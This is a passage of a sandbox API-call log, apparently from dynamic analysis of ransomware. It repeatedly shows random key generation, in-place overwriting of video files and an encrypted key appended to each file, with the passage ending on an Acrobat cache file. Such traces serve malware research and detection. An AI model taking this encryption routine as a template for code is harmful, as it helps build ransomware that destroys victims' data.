nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.437] CloseHandle (hObject=0x9cc) returned 1 [0156.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\sWHXtEEM\\DtpP6p3zmD Kg.mp4", dwFileAttributes=0x80) returned 1 [0156.439] ReadFile (in: hFile=0x9cc, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xb79d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xb79d, lpOverlapped=0x0) returned 1 [0156.440] SetFilePointer (in: hFile=0x9cc, lDistanceToMove=-47005, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.440] WriteFile (in: hFile=0x9cc, lpBuffer=0x2eee7b8*, nNumberOfBytesToWrite=0xb79d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eee7b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb79d, lpOverlapped=0x0) returned 1 [0156.441] SetFilePointer (in: hFile=0x9cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb79d [0156.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.441] WriteFile (in: hFile=0x9cc, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.441] WriteFile (in: hFile=0x9cc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.441] CloseHandle (hObject=0x9cc) returned 1 [0156.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0156.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\WvLtIbDPeE6.swf", dwFileAttributes=0x80) returned 1 [0156.444] ReadFile (in: hFile=0x9d0, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x14f0b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x14f0b, lpOverlapped=0x0) returned 1 [0156.448] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=-85771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.448] WriteFile (in: hFile=0x9d0, lpBuffer=0x2ef7f28*, nNumberOfBytesToWrite=0x14f0b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef7f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14f0b, lpOverlapped=0x0) returned 1 [0156.450] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14f0b [0156.450] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.450] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.451] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.451] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.452] CloseHandle (hObject=0x9d0) returned 1 [0156.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0156.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0156.453] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\mW18zHahTRvW.mkv", dwFileAttributes=0x80) returned 1 [0156.454] ReadFile (in: hFile=0x9d0, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x11df3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x11df3, lpOverlapped=0x0) returned 1 [0156.457] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=-73203, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.457] WriteFile (in: hFile=0x9d0, lpBuffer=0x2ef4e10*, nNumberOfBytesToWrite=0x11df3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef4e10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11df3, lpOverlapped=0x0) returned 1 [0156.458] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11df3 [0156.458] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.458] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.458] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.458] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.459] CloseHandle (hObject=0x9d0) returned 1 [0156.460] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0156.460] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0156.460] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\IBtf1y5SDksfON1Za.mp4", dwFileAttributes=0x80) returned 1 [0156.460] ReadFile (in: hFile=0x9d0, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xf5f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xf5f8, lpOverlapped=0x0) returned 1 [0156.462] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=-62968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.462] WriteFile (in: hFile=0x9d0, lpBuffer=0x2ef2610*, nNumberOfBytesToWrite=0xf5f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2610*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf5f8, lpOverlapped=0x0) returned 1 [0156.462] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf5f8 [0156.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.462] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.462] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.463] CloseHandle (hObject=0x9d0) returned 1 [0156.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0156.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0156.464] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\HQXzIWOYFF.mkv", dwFileAttributes=0x80) returned 1 [0156.464] ReadFile (in: hFile=0x9d0, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x26b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x26b3, lpOverlapped=0x0) returned 1 [0156.465] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=-9907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.465] WriteFile (in: hFile=0x9d0, lpBuffer=0x2fbe6c8*, nNumberOfBytesToWrite=0x26b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbe6c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x26b3, lpOverlapped=0x0) returned 1 [0156.465] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x26b3 [0156.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.466] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.466] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.466] CloseHandle (hObject=0x9d0) returned 1 [0156.467] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.467] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0156.467] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\-7t-JfLrueGL.mp4", dwFileAttributes=0x80) returned 1 [0156.468] ReadFile (in: hFile=0x9d0, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x16692, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x16692, lpOverlapped=0x0) returned 1 [0156.469] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=-91794, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.469] WriteFile (in: hFile=0x9d0, lpBuffer=0x2ef96b0*, nNumberOfBytesToWrite=0x16692, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef96b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16692, lpOverlapped=0x0) returned 1 [0156.471] SetFilePointer (in: hFile=0x9d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16692 [0156.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.471] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.471] WriteFile (in: hFile=0x9d0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.472] CloseHandle (hObject=0x9d0) returned 1 [0156.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0156.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0156.473] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\uP1BVZ1\\vcqPpaoEZWiY7xJyPe.avi", dwFileAttributes=0x80) returned 1 [0156.474] ReadFile (in: hFile=0x9d4, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x18986, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x18986, lpOverlapped=0x0) returned 1 [0156.476] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=-100742, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.476] WriteFile (in: hFile=0x9d4, lpBuffer=0x2efb9a0*, nNumberOfBytesToWrite=0x18986, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2efb9a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18986, lpOverlapped=0x0) returned 1 [0156.477] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18986 [0156.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.477] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.478] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.478] CloseHandle (hObject=0x9d4) returned 1 [0156.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0156.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.479] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\uP1BVZ1\\E879YZyZ1Tj2O.swf", dwFileAttributes=0x80) returned 1 [0156.480] ReadFile (in: hFile=0x9d4, lpBuffer=0x2fbe010, nNumberOfBytesToRead=0x26ea, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbe010*, lpNumberOfBytesRead=0x2e1f9bc*=0x26ea, lpOverlapped=0x0) returned 1 [0156.480] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=-9962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.482] WriteFile (in: hFile=0x9d4, lpBuffer=0x2fc0708*, nNumberOfBytesToWrite=0x26ea, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0708*, lpNumberOfBytesWritten=0x2e1f9bc*=0x26ea, lpOverlapped=0x0) returned 1 [0156.482] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x26ea [0156.482] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.482] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.482] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.482] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.483] CloseHandle (hObject=0x9d4) returned 1 [0156.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0156.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\uP1BVZ1\\akHXUBB9.mp4", dwFileAttributes=0x80) returned 1 [0156.487] ReadFile (in: hFile=0x9d4, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x8497, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x8497, lpOverlapped=0x0) returned 1 [0156.488] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=-33943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.488] WriteFile (in: hFile=0x9d4, lpBuffer=0x2eeb4b0*, nNumberOfBytesToWrite=0x8497, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb4b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8497, lpOverlapped=0x0) returned 1 [0156.488] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8497 [0156.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.489] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.489] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.489] CloseHandle (hObject=0x9d4) returned 1 [0156.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0156.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.490] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\uP1BVZ1\\2QmY5A kOt7.flv", dwFileAttributes=0x80) returned 1 [0156.491] ReadFile (in: hFile=0x9d4, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x16f9b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x16f9b, lpOverlapped=0x0) returned 1 [0156.492] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=-94107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.493] WriteFile (in: hFile=0x9d4, lpBuffer=0x2ef9fb8*, nNumberOfBytesToWrite=0x16f9b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef9fb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16f9b, lpOverlapped=0x0) returned 1 [0156.493] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16f9b [0156.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.493] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.494] WriteFile (in: hFile=0x9d4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.494] CloseHandle (hObject=0x9d4) returned 1 [0156.496] WriteFile (in: hFile=0x9d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.497] CloseHandle (hObject=0x9d8) returned 1 [0156.498] WriteFile (in: hFile=0x9d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.500] CloseHandle (hObject=0x9d8) returned 1 [0156.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0156.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", dwFileAttributes=0x80) returned 1 [0156.500] ReadFile 